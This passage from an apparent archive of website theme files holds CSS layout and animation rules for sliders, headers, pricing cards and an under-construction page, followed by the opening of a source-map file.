50px; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; -webkit-box-orient: horizontal; -webkit-box-direction: normal; -ms-flex-direction: row; flex-direction: row; } } .call-to-section-four__title { font-size: 30px; color: var(--thm-black); margin: 0; font-weight: 500; margin-bottom: 10px; } @media (min-width: 992px) { .call-to-section-four__title { margin-bottom: 0; } } .call-to-section-four__btn:hover { background-color: #fff; color: var(--thm-black); } /* slider eight */ .slider-eight .swiper-slide { position: relative; background-color: var(--thm-black); padding-top: 150px; padding-bottom: 150px; } @media (min-width: 1200px) { .slider-eight .swiper-slide { padding-top: 285px; padding-bottom: 180px; } } .slider-eight .swiper-slide .image-layer { position: absolute; top: 0; right: 0; bottom: 0; left: 0; background-repeat: no-repeat; background-position: center center; background-size: cover; opacity: 0.7; -webkit-transform: scale(1); transform: scale(1); visibility: hidden; -webkit-transition: visibility 0ms ease, -webkit-transform 7000ms ease; transition: visibility 0ms ease, -webkit-transform 7000ms ease; transition: visibility 0ms ease, transform 7000ms ease; transition: visibility 0ms ease, transform 7000ms ease, -webkit-transform 7000ms ease; } .slider-eight .swiper-slide.swiper-slide-active .image-layer { visibility: visible; -webkit-transform: scale(1.3); transform: scale(1.3); } .slider-eight .swiper-slide .auto-container { position: relative; } .slider-eight__text { margin: 0; color: #fff; font-family: 'Shadows Into Light'; font-size: 20px; line-height: 1.2; -webkit-transform-origin: bottom center; transform-origin: bottom center; opacity: 0; -webkit-transform: translateY(90px); transform: translateY(90px); -webkit-transition: opacity 1500ms ease, -webkit-transform 1500ms ease; transition: opacity 1500ms ease, -webkit-transform 1500ms ease; transition: transform 1500ms ease, opacity 1500ms ease; transition: transform 1500ms ease, opacity 1500ms ease, -webkit-transform 1500ms ease; } @media (min-width: 992px) { .slider-eight__text { font-size: 30px; } } .slider-eight__text span { text-decoration: underline; } .slider-eight__title { margin: 0; color: #fff; font-weight: bold; font-size: 40px; line-height: 1; margin-top: 10px; margin-bottom: 20px; -webkit-transform-origin: bottom center; transform-origin: bottom center; -webkit-transform: scaleY(0) translateY(-50px); transform: scaleY(0) translateY(-50px); -webkit-transition: opacity 1500ms ease, -webkit-transform 1500ms ease; transition: opacity 1500ms ease, -webkit-transform 1500ms ease; transition: transform 1500ms ease, opacity 1500ms ease; transition: transform 1500ms ease, opacity 1500ms ease, -webkit-transform 1500ms ease; opacity: 0; } @media (min-width: 768px) { .slider-eight__title { max-width: 550px; } } @media (min-width: 992px) { .slider-eight__title { font-size: 60px; } } @media (min-width: 1200px) { .slider-eight__title { font-size: 80px; max-width: 647px; margin-bottom: 50px; margin-top: 25px; } } .slider-eight__btns { overflow: hidden; } @media (min-width: 475px) { .slider-eight__btns { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } } .slider-eight__btn { -webkit-transform: scaleY(0) translateY(-200px); transform: scaleY(0) translateY(-200px); -webkit-transform-origin: top center; transform-origin: top center; opacity: 0; -webkit-transition: background 500ms ease, color 500ms ease, opacity 2000ms ease, -webkit-transform 2000ms ease; transition: background 500ms ease, color 500ms ease, opacity 2000ms ease, -webkit-transform 2000ms ease; transition: transform 2000ms ease, background 500ms ease, color 500ms ease, opacity 2000ms ease; transition: transform 2000ms ease, background 500ms ease, color 500ms ease, opacity 2000ms ease, -webkit-transform 2000ms ease; } .slider-eight__btn--two { background-color: var(--thm-base); color: var(--thm-black); margin-top: 10px; } @media (min-width: 475px) { .slider-eight__btn--two { margin-top: 0; margin-left: 10px; } } .slider-eight__btn--two:hover { background-color: #fff; color: var(--thm-black); } .swiper-slide-active .slider-eight__title, .swiper-slide-active .slider-eight__btn { -webkit-transform: scaleY(1) translateY(0); transform: scaleY(1) translateY(0); opacity: 1; } .swiper-slide-active .slider-eight__text { -webkit-transform: translateY(0); transform: translateY(0); opacity: 1; } /* header eight */ .header-eight__topbar { display: none; background-color: var(--thm-black); padding-top: 5px; padding-bottom: 5px; } @media (min-width: 992px) { .header-eight__topbar { display: block; } } .header-eight__topbar .auto-container { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; max-width: 100%; padding-left: 30px; padding-right: 30px; } @media (min-width: 1200px) { .header-eight__topbar .auto-container { padding-left: 60px; padding-right: 60px; } } .header-eight__topbar__right { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .header-eight__topbar__right p { font-size: 14px; color: #acb5cb; margin: 0; margin-right: 30px; } .header-eight__topbar__info { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .header-eight__topbar__info li { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; color: #acb5cb; font-size: 14px; font-weight: 400; } .header-eight__topbar__info li i { color: var(--thm-base); font-size: 16px; margin-right: 11px; } .header-eight__topbar__info li + li { margin-left: 20px; } .header-eight__topbar__info li a { color: inherit; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .header-eight__topbar__info li a:hover { color: #fff; } .header-eight__topbar__social { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .header-eight__topbar__social a { color: #acb5cb; font-size: 14px; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .header-eight__topbar__social a:hover { color: var(--thm-base); } .header-eight__topbar__social a + a { margin-left: 20px; } .mainmenu-eight { position: relative; top: auto; left: auto; width: 100%; z-index: 91; -webkit-transition: all 500ms ease; transition: all 500ms ease; background-color: var(--thm-black); padding-top: 20px; padding-bottom: 20px; } @media (min-width: 1200px) { .mainmenu-eight { position: fixed; top: 44px; left: 0; background-color: rgba(255, 255, 255, 0.1); padding-top: 0; padding-bottom: 0; } } .mainmenu-eight.fixed-header { background-color: var(--thm-black); top: 0; } .mainmenu-eight .nav-outer { position: relative; float: none !important; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; width: 100% !important; } .mainmenu-eight .auto-container { width: 100%; max-width: 100%; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } @media (min-width: 1200px) { .mainmenu-eight .auto-container { padding-left: 60px; padding-right: 60px; } } .mainmenu-eight .nav-outer .mobile-nav-toggler { float: none; margin: 0; margin-left: 20px; } .mainmenu-eight__right { margin-left: auto; } @media (min-width: 1350px) { .mainmenu-eight__right { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; margin-left: 0; } } .mainmenu-eight__call { display: none; text-align: left; color: #fff; padding-top: 5px; padding-bottom: 5px; border-left: 1px solid rgba(255, 255, 255, 0.2); padding-left: 40px; margin-left: 40px; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .mainmenu-eight__call:hover { color: var(--thm-black); } @media (min-width: 1350px) { .mainmenu-eight__call { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } } .mainmenu-eight__call__icon { margin-right: 20px; } .mainmenu-eight__call__icon i { font-size: 34px; color: #fff; position: relative; top: 4px; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .mainmenu-eight__call:hover .mainmenu-eight__call__icon i { color: var(--thm-base); } .mainmenu-eight__call__text { font-size: 14px; font-weight: 400; line-height: 22px; } .mainmenu-eight__call__text strong { font-weight: bold; font-size: 16px; } .mainmenu-eight__left { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .mainmenu-eight__search button { color: #fff; font-size: 22px; background-color: transparent; } .mainmenu-eight .main-menu { margin-left: auto; margin-right: auto; } .mainmenu-eight .main-menu .navigation li > a { font-size: 16px; font-weight: 500; text-transform: capitalize; } .mainmenu-eight .main-menu .navigation > li > a { color: #fff; } .mainmenu-eight .main-menu .navigation > li::before { content: ''; width: 15px; height: 8px; background-image: url(../images/update-01-10-2021/shapes/menu-arrow.png); background-repeat: no-repeat; background-position: top center; position: absolute; bottom: 0; left: calc(50% - 7.5px); opacity: 0; -webkit-transition: opacity 500ms ease; transition: opacity 500ms ease; } .mainmenu-eight .main-menu .navigation > li > a::before { width: calc(50.5% - 7.5px); height: 2px; border: none; background-color: var(--thm-base); -webkit-transform: scale(1); transform: scale(1); bottom: -30px; opacity: 0; -webkit-transition: opacity 500ms ease; transition: opacity 500ms ease; } .mainmenu-eight .main-menu .navigation > li > a::after { content: ""; position: absolute; right: 0; bottom: 7px; height: 2px; background-color: var(--thm-base); width: calc(50% - 7.5px); bottom: -30px; opacity: 0; -webkit-transition: opacity 500ms ease; transition: opacity 500ms ease; } .mainmenu-eight .main-menu .navigation > li.current::before, .mainmenu-eight .main-menu .navigation > li:hover::before { opacity: 1; } .mainmenu-eight .main-menu .navigation > li.current > a, .mainmenu-eight .main-menu .navigation > li:hover > a { color: var(--thm-base); } .mainmenu-eight .main-menu .navigation > li.current > a::before, .mainmenu-eight .main-menu .navigation > li.current > a::after, .mainmenu-eight .main-menu .navigation > li:hover > a::before, .mainmenu-eight .main-menu .navigation > li:hover > a::after { opacity: 1; } /* Service nine */ .service-nine { padding-top: 100px; padding-bottom: 70px; } @media (min-width: 992px) { .service-nine { padding-top: 120px; padding-bottom: 90px; } } .service-nine__card { border-radius: 7px; -webkit-transition: all 500ms ease; transition: all 500ms ease; margin-bottom: 30px; } .service-nine__card:hover { -webkit-box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); } .service-nine__card__inner { overflow: hidden; border-radius: 7px; } .service-nine__image { background-color: var(--thm-black); } .service-nine__image img { mix-blend-mode: luminosity; } .service-nine__content { padding-left: 50px; padding-right: 50px; border: 1px solid #e9ebee; border-top: 0; padding-top: 35px; padding-bottom: 50px; } .service-nine__icon { font-size: 64px; color: var(--thm-base); } .service-nine__title { margin: 0; font-size: 34px; color: var(--thm-black); line-height: 1.05; text-transform: uppercase; margin-top: 20px; margin-bottom: 10px; } .service-nine__title a { color: inherit; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .service-nine__title a:hover { color: var(--thm-base); } .service-nine__text { margin: 0; font-size: 16px; line-height: 2.125; color: var(--thm-text); margin-bottom: 20px; } .service-nine__link { width: 50px; height: 50px; background-color: #222429; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; color: #fff; font-size: 20px; border-radius: 50%; opacity: 0.2; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .service-nine__link:hover { opacity: 1; background-color: var(--thm-base); color: var(--thm-black); } /* team four */ .team-four { padding-top: 100px; padding-bottom: 70px; } @media (min-width: 992px) { .team-four { padding-top: 120px; padding-bottom: 90px; } } .team-four__card { margin-bottom: 30px; border-radius: 8px; border: 1px solid #e9ebee; padding-top: 40px; padding-bottom: 30px; text-align: center; -webkit-transition: all 500ms ease; transition: all 500ms ease; padding-left: 30px; padding-right: 30px; } .team-four__card:hover { -webkit-box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); } .team-four__image { width: 192px; border-radius: 50%; margin-left: auto; margin-right: auto; overflow: hidden; margin-bottom: 23px; background-color: var(--thm-black); } .team-four__image img { width: 100%; mix-blend-mode: luminosity; } .team-four__name { margin: 0; font-size: 24px; color: var(--thm-black); text-transform: uppercase; line-height: 1; letter-spacing: .1em; margin-bottom: 9px; } .team-four__designation { color: #686a6f; font-size: 16px; text-transform: uppercase; font-family: var(--thm-font); letter-spacing: .1em; line-height: 1; margin: 0; margin-bottom: 15px; } .team-four__social { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; background-color: #f4f5f8; border-radius: 8px; padding: 11.5px 0; } .team-four__social a { color: #686a6f; font-size: 14px; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .team-four__social a:hover { color: var(--thm-base); } .team-four__social a + a { margin-left: 20px; } /* Partner one */ .partner-one { padding-bottom: 70px; padding-top: 100px; } @media (min-width: 992px) { .partner-one { padding-top: 120px; padding-bottom: 90px; } } .partner-one__card { padding: 20px; margin-bottom: 30px; border: 1px solid #e9ebee; border-radius: 8px; -webkit-transition: all 500ms ease; transition: all 500ms ease; background-color: #fff; text-align: center; } .partner-one__card:hover { -webkit-box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); } .partner-one__image { overflow: hidden; border-radius: 8px; background-color: #f4f5f8; } .partner-one__image img { max-width: 100%; } .partner-one__content { padding-bottom: 12px; } .partner-one__title { font-size: 34px; margin: 0; text-transform: uppercase; line-height: 36px; margin-top: 35px; margin-bottom: 10px; } .partner-one__text { margin: 0; color: var(--thm-text); font-size: 16px; line-height: 34px; max-width: 270px; margin-left: auto; margin-right: auto; margin-bottom: 20px; } .partner-one__link { text-transform: uppercase; font-family: var(--thm-font); font-size: 16px; color: var(--thm-black); letter-spacing: .1em; display: -webkit-inline-box; display: -ms-inline-flexbox; display: inline-flex; background: -webkit-gradient(linear, left top, right top, from(var(--thm-base)), to(var(--thm-base))) 0px 77%/0px 2px no-repeat; background: linear-gradient(to right, var(--thm-base) 0%, var(--thm-base) 100%) 0px 77%/0px 2px no-repeat; background-size: 100% 2px; padding-bottom: 5px; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .partner-one__link:hover { color: var(--thm-base); background-size: 0 2px; } /* contact two */ .contact-two .form-box { text-align: left; } .contact-two .sec-title { margin-bottom: 34px; } .contact-two__text { max-width: 351px; margin: 0; font-size: 16px; line-height: 34px; } .contact-two__social { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; margin-top: 50px; } .contact-two__social a { color: #686a6f; font-size: 20px; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .contact-two__social a:hover { color: var(--thm-base); } .contact-two__social a + a { margin-left: 24px; } /* contact info two */ .contact-info-two { padding-bottom: 80px; } @media (min-width: 1200px) { .contact-info-two { padding-bottom: 0; } } .contact-info-two__card { background-color: #fff; border-radius: 8px; -webkit-box-shadow: 0px 0px 40px 0px rgba(0, 0, 0, 0.05); box-shadow: 0px 0px 40px 0px rgba(0, 0, 0, 0.05); display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; padding: 37px 30px; text-align: center; border: 1px solid #f4f5f8; margin-bottom: 20px; } @media (min-width: 1200px) { .contact-info-two__card { position: relative; margin-bottom: -37px; z-index: 91; } } .contact-info-two__card i { font-size: 20px; color: var(--thm-base); margin-right: 20px; } .contact-info-two__card a { color: var(--thm-black); font-size: 20px; } /* under construction */ .under-construction { position: relative; background-color: #f4f5f8; min-height: 100vh; padding-top: 50px; padding-bottom: 50px; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .under-construction__bg { background-repeat: no-repeat; background-position: bottom center; background-color: #f4f5f8; background-blend-mode: luminosity; opacity: 0.1; position: absolute; bottom: 0; left: 0; right: 0; top: 0; } .under-construction .auto-container { position: relative; z-index: 10; width: 100%; } .under-construction__title { margin: 0; text-transform: uppercase; font-size: 60px; line-height: 1; font-weight: 300; color: var(--thm-base); margin-bottom: 20px; } @media (min-width: 992px) { .under-construction__title { margin-bottom: 0; font-size: 100px; } } .under-construction__tagline { margin: 0; line-height: 1.2em; color: var(--thm-black); letter-spacing: .4em; font-size: 26px; text-transform: uppercase; font-weight: 300; margin-top: 30px; margin-bottom: 20px; } @media (min-width: 992px) { .under-construction__tagline { margin-top: 100px; margin-bottom: 7px; } } .under-construction__countdown { margin: 0; display: -ms-grid; display: grid; -ms-grid-columns: 1fr; grid-template-columns: 1fr; width: 100%; max-width: 560px; margin-left: auto; margin-right: auto; margin-bottom: 30px; } @media (min-width: 576px) { .under-construction__countdown { -ms-grid-columns: (1fr)[3]; grid-template-columns: repeat(3, 1fr); } } @media (min-width: 992px) { .under-construction__countdown { margin-bottom: 86px; margin-top: 54px; } } .under-construction__countdown li { color: var(--thm-black); font-size: 50px; line-height: 1; text-transform: uppercase; font-family: var(--thm-font); } @media (min-width: 992px) { .under-construction__countdown li { font-size: 70px; } } .under-construction__countdown li + li { border-top: 2px solid #fff; margin-top: 30px; padding-top: 30px; } @media (min-width: 576px) { .under-construction__countdown li + li { border-top: 0; border-left: 2px solid #fff; margin-top: 0; padding-top: 0; } } .under-construction__countdown li i { font-style: normal; font-size: 20px; color: var(--thm-text); letter-spacing: .3em; display: block; line-height: 1; margin-top: 7px; } .under-construction__text { margin: 0; color: var(--thm-text); font-size: 20px; font-weight: 300; margin-bottom: 10px; } @media (min-width: 992px) { .under-construction__text { margin-bottom: 0; } } .under-construction__social { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; margin-top: 25px; } .under-construction__social a { font-size: 16px; text-align: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; width: 44px; height: 44px; display: -webkit-box; display: -ms-flexbox; display: flex; background-color: #fff; border-radius: 50%; color: var(--thm-text); -webkit-transition: all 500ms ease; transition: all 500ms ease; } .under-construction__social a:hover { color: #fff; background-color: var(--thm-base); } .under-construction__social a + a { margin-left: 10px; } /* process one */ .process-one { counter-reset: processCount; padding-top: 90px; } @media (min-width: 992px) { .process-one { padding-top: 120px; } } .process-one .row { margin-bottom: 90px; } @media (min-width: 992px) { .process-one .row:nth-child(even) { -webkit-box-orient: horizontal; -webkit-box-direction: reverse; -ms-flex-direction: row-reverse; flex-direction: row-reverse; } .process-one .row:nth-child(even) .process-one__image__column { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: end; -ms-flex-pack: end; justify-content: flex-end; } .process-one .row:nth-child(even) .process-one__image::before, .process-one .row:nth-child(even) .process-one__image::after { left: auto; right: 0; -webkit-transform: translate(50%, -50%); transform: translate(50%, -50%); } } @media (min-width: 992px) { .process-one .row { margin-bottom: 120px; } } .process-one__image { counter-increment: processCount; position: relative; display: inline-block; margin-bottom: 50px; border-radius: 8px; background-color: var(--thm-black); } @media (min-width: 992px) { .process-one__image { margin-bottom: 0; } } .process-one__image::before { content: ''; border-radius: 50%; background-color: #f4f5f8; position: absolute; width: 200px; height: 200px; top: 50%; left: 50%; -webkit-transform: translate(-50%, -50%); transform: translate(-50%, -50%); } @media (min-width: 992px) { .process-one__image::before { width: 387px; height: 387px; top: 50%; left: 0%; -webkit-transform: translate(-50%, -50%); transform: translate(-50%, -50%); } } .process-one__image::after { content: counters(processCount, ".", decimal-leading-zero); background-color: var(--thm-base); display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; text-align: center; position: absolute; border-radius: 50%; color: var(--thm-black); font-family: var(--thm-font); font-size: 30px; padding-top: 5px; width: 60px; height: 60px; top: 20%; left: 20%; -webkit-transform: translate(-50%, -50%); transform: translate(-50%, -50%); } @media (min-width: 992px) { .process-one__image::after { width: 128px; height: 128px; top: 50%; left: 0; -webkit-transform: translate(-50%, -50%); transform: translate(-50%, -50%); font-size: 50px; padding-top: 12px; } } .process-one__image img { max-width: 100%; border-radius: 8px; position: relative; mix-blend-mode: luminosity; } .process-one .sec-title { margin-bottom: 0; } .process-one__summery { margin: 0; font-size: 16px; color: var(--thm-text); line-height: 2.125em; font-weight: 400; margin-top: 34px; margin-bottom: 36px; } .process-one__list li { position: relative; padding-left: 30px; font-size: 16px; color: var(--thm-text); font-weight: 400; } .process-one__list li > i { position: absolute; top: 8px; left: 0; color: var(--thm-base); font-size: 20px; } /* pricing three */ .pricing-three { padding-top: 100px; padding-bottom: 70px; } .pricing-three__card { margin-bottom: 30px; border-radius: 8px; border: 1px solid #e9ebee; padding: 50px 49px; -webkit-transition: all 500ms ease; transition: all 500ms ease; padding-bottom: 40px; } .pricing-three__card:hover { background-color: var(--thm-black); border-color: var(--thm-black); } .pricing-three__name { text-transform: uppercase; color: var(--thm-base); font-size: 20px; letter-spacing: .1em; margin: 0; line-height: 1; margin-bottom: 10px; } .pricing-three__icon { font-size: 64px; color: var(--thm-base); margin-bottom: 28px; } .pricing-three__amount { display: inline-block; position: relative; font-family: var(--thm-font); font-size: 60px; text-transform: uppercase; line-height: 1; color: var(--thm-black); margin: 0; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .pricing-three__card:hover .pricing-three__amount { color: #fff; } .pricing-three__currency { position: absolute; top: 0; right: 100%; -webkit-transform: translateY(-20%); transform: translateY(-20%); font-style: normal; font-size: 30px; } .pricing-three__list { margin-bottom: 20px; } .pricing-three__list li { color: var(--thm-text); font-size: 16px; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .pricing-three__card:hover .pricing-three__list li { color: #999b9f; } .pricing-three__tagline { border-top: 1px solid #e9ebee; font-size: 16px; line-height: 2.125; color: var(--thm-text); margin: 0; -webkit-transition: all 500ms ease; transition: all 500ms ease; padding-top: 20px; padding-bottom: 22px; } .pricing-three__card:hover .pricing-three__tagline { color: #999b9f; border-color: rgba(255, 255, 255, 0.1); } .pricing-three .btn-style-two .btn-title { font-size: 16px; padding: 13px 39px 10px; } .pricing-three__card:hover .btn-style-two { color: var(--thm-black); } .pricing-three__card:hover .btn-style-two .btn-curve { background-color: var(--thm-base); } .pricing-three__card:hover .btn-style-two .btn-curve { opacity: 1; right: 0; width: 100%; -webkit-transform: skewX(0deg); transform: skewX(0deg); } .pricing-three .switch-toggler-list { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; margin-bottom: 30px; } .pricing-three .switch-toggler-list li { -webkit-box-ordinal-group: 1; -ms-flex-order: 0; order: 0; } .pricing-three .switch-toggler-list li:nth-child(2) { -webkit-box-ordinal-group: 3; -ms-flex-order: 2; order: 2; } .pricing-three .switch-toggler-list li:last-child { -webkit-box-ordinal-group: 2; -ms-flex-order: 1; order: 1; margin-left: 10px; margin-right: 10px; } .pricing-three .switch-toggler-list li a { color: var(--thm-text); font-size: 18px; } .pricing-three .switch-toggler-list li.active a { color: var(--thm-black); } .pricing-three .switch-toggler-list li .switch { width: 79px; height: 36px; background-color: var(--thm-base); border-radius: 18px; position: relative; display: block; cursor: pointer; } .pricing-three .switch-toggler-list li .switch span { width: 26px; height: 26px; border-radius: 50%; background-color: #fff; display: block; position: absolute; left: 5px; top: 5px; -webkit-transform: translateX(0%); transform: translateX(0%); -webkit-transition: background 500ms ease, -webkit-transform 500ms ease; transition: background 500ms ease, -webkit-transform 500ms ease; transition: transform 500ms ease, background 500ms ease; transition: transform 500ms ease, background 500ms ease, -webkit-transform 500ms ease; } .pricing-three .switch-toggler-list li .switch.off span { background-color: var(--thm-black); -webkit-transform: translateX(43px); transform: translateX(43px); } .pricing-three .animated { -webkit-animation-duration: 1500ms; animation-duration: 1500ms; } /*# sourceMappingURL=style.css.map */ custom-animate.css 0000644 00000010443 14704434233 0010212 0 ustar 00 @keyframes rotateMe { from { transform: rotate(0deg) scale(1); } to { transform: rotate(360deg); } } @-webkit-keyframes rotateMe { from { transform: rotate(0deg) scale(1); } to { transform: rotate(360deg); } } @-moz-keyframes rotateMe { from { transform: rotate(0deg) scale(1); } to { transform: rotate(360deg); } } @-o-keyframes rotateMe { from { transform: rotate(0deg) scale(1); } to { transform: rotate(360deg); } } @keyframes rotateMe { from { transform: rotate(0deg) scale(1); } to { transform: rotate(360deg); } } @-webkit-keyframes ScaleMe { 0% { transform: scale(1); } 50% { transform: scale(1.15); } 100% { transform: scale(1); } } @-moz-keyframes ScaleMe { 0% { transform: scale(1); } 50% { transform: scale(1.15); } 100% { transform: scale(1); } } @-o-keyframes ScaleMe { 0% { transform: scale(1); } 50% { transform: scale(1.15); } 100% { transform: scale(1); } } @keyframes ScaleMe { 0% { transform: scale(1); } 50% { transform: scale(1.15); } 100% { transform: scale(1); } } .tri-pattern, .circles, .circles-two{ -webkit-animation-name: rotateMe; -webkit-animation-duration: 25s; -webkit-animation-iteration-count: infinite; -webkit-animation-timing-function: linear; -moz-animation-name: rotateMe; -moz-animation-duration: 25s; -moz-animation-iteration-count: infinite; -moz-animation-timing-function: linear; -ms-animation-name: rotateMe; -ms-animation-duration: 25s; -ms-animation-iteration-count: infinite; -ms-animation-timing-function: linear; animation-name: rotateMe; animation-duration: 25s; animation-iteration-count: infinite; animation-timing-function: linear; } .dotted-pattern, .history-block .image-box:before, .featured-section-four .image-box .image:nth-child(3):before{ -webkit-animation-name: ScaleMe; -webkit-animation-duration: 5s; -webkit-animation-iteration-count: infinite; -webkit-animation-timing-function: linear; -moz-animation-name: ScaleMe; -moz-animation-duration: 5s; -moz-animation-iteration-count: infinite; -moz-animation-timing-function: linear; -ms-animation-name: ScaleMe; -ms-animation-duration: 5s; -ms-animation-iteration-count: infinite; -ms-animation-timing-function: linear; animation-name: ScaleMe; animation-duration: 5s; animation-iteration-count: infinite; animation-timing-function: linear; } .circles .c-1, .circles-two .c-1{ -webkit-animation-name: ScaleMe; -webkit-animation-duration: 5s; -webkit-animation-iteration-count: infinite; -webkit-animation-timing-function: linear; -moz-animation-name: ScaleMe; -moz-animation-duration: 5s; -moz-animation-iteration-count: infinite; -moz-animation-timing-function: linear; -ms-animation-name: ScaleMe; -ms-animation-duration: 5s; -ms-animation-iteration-count: infinite; -ms-animation-timing-function: linear; animation-name: ScaleMe; animation-duration: 5s; animation-iteration-count: infinite; animation-timing-function: linear; } .circles-two .c-2{ -webkit-animation-name: ScaleMe; -webkit-animation-delay: 3ms; -webkit-animation-duration: 3s; -webkit-animation-iteration-count: infinite; -webkit-animation-timing-function: linear; -moz-animation-name: ScaleMe; -moz-animation-delay: 3s; -moz-animation-duration: 3s; -moz-animation-iteration-count: infinite; -moz-animation-timing-function: linear; -ms-animation-name: ScaleMe; -ms-animation-delay: 3s; -ms-animation-duration: 3s; -ms-animation-iteration-count: infinite; -ms-animation-timing-function: linear; animation-name: ScaleMe; animation-delay: 3s; animation-duration: 3s; animation-iteration-count: infinite; animation-timing-function: linear; } style.css.map 0000644 00001430426 14704434233 0007210 0 ustar 00 { "version": 3, "mappings": "AAAA,4CAA4C;AAE5C;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;gEAwDgE;AAEhE;;;;EAIE;AAEF;;;;;;KAMK;AAEL,AAAA,CAAC,CAAC;EACA,MAAM,EAAE,GAAG;EACX,OAAO,EAAE,GAAG;EACZ,MAAM,EAAE,IAAI;EACZ,OAAO,EAAE,IAAI;EACb,SAAS,EAAE,IAAI;EACf,WAAW,EAAE,OAAO;CACrB;;AAED;;;;;;KAMK;AAEL,AAAA,KAAK,CAAC;EACJ,UAAU,CAAA,mBAAC;EACX,YAAY,CAAA,oBAAC;EACb,UAAU,CAAA,QAAC;EACX,cAAc,CAAA,aAAC;EACf,WAAW,CAAA,QAAC;EACZ,UAAU,CAAA,QAAC;CACZ;;AAED,AAAA,UAAU,CAAC;EACT,YAAY,EAAE,IAAI;EAClB,aAAa,EAAE,IAAI;CACpB;;AAED,AAAA,IAAI,CAAC;EACH,aAAa,CAAA,KAAC;EACd,aAAa,CAAA,IAAC;CACf;;AAED,AAAA,IAAI,CAAC;EACH,SAAS,EAAE,IAAI;EACf,WAAW,EAAE,iBAAiB;EAC9B,KAAK,EAAE,eAAe;EACtB,WAAW,EAAE,OAAO;EACpB,WAAW,EAAE,GAAG;EAChB,UAAU,EAAE,OAAO;EACnB,sBAAsB,EAAE,WAAW;EACnC,mBAAmB,EAAE,WAAW;EAChC,GAAG,EAAE,YAAY;CAClB;;AAED,AAAA,CAAC,CAAC;EACA,eAAe,EAAE,IAAI;EACrB,MAAM,EAAE,OAAO;EACf,KAAK,EAAE,eAAe;CACvB;;AAED,AAAA,YAAY,CAAC;EACX,KAAK,EAAE,eAAe;CACvB;;AAED,AAAA,CAAC,AAAA,MAAM;AACP,CAAC,AAAA,MAAM;AACP,CAAC,AAAA,QAAQ;AACT,CAAC,AAAA,OAAO;AACR,MAAM,AAAA,OAAO,CAAC;EACZ,eAAe,EAAE,IAAI;EACrB,OAAO,EAAE,IAAI;CACd;;AAED,AAAA,EAAE;AACF,EAAE;AACF,EAAE;AACF,EAAE;AACF,EAAE;AACF,EAAE,CAAC;EACD,QAAQ,EAAE,QAAQ;EAClB,WAAW,EAAE,GAAG;EAChB,MAAM,EAAE,YAAY;EACpB,UAAU,EAAE,IAAI;EAChB,WAAW,EAAE,MAAM;EACnB,WAAW,EAAE,eAAe;EAC5B,KAAK,EAAE,gBAAgB;CACxB;;AAED,AAAA,EAAE,CAAC;EACD,SAAS,EAAE,KAAK;CACjB;;AAED,AAAA,EAAE,CAAC;EACD,SAAS,EAAE,IAAI;CAChB;;AAED,AAAA,EAAE,CAAC;EACD,SAAS,EAAE,IAAI;CAChB;;AAED,AAAA,EAAE,CAAC;EACD,SAAS,EAAE,IAAI;CAChB;;AAED,AAAA,EAAE,CAAC;EACD,SAA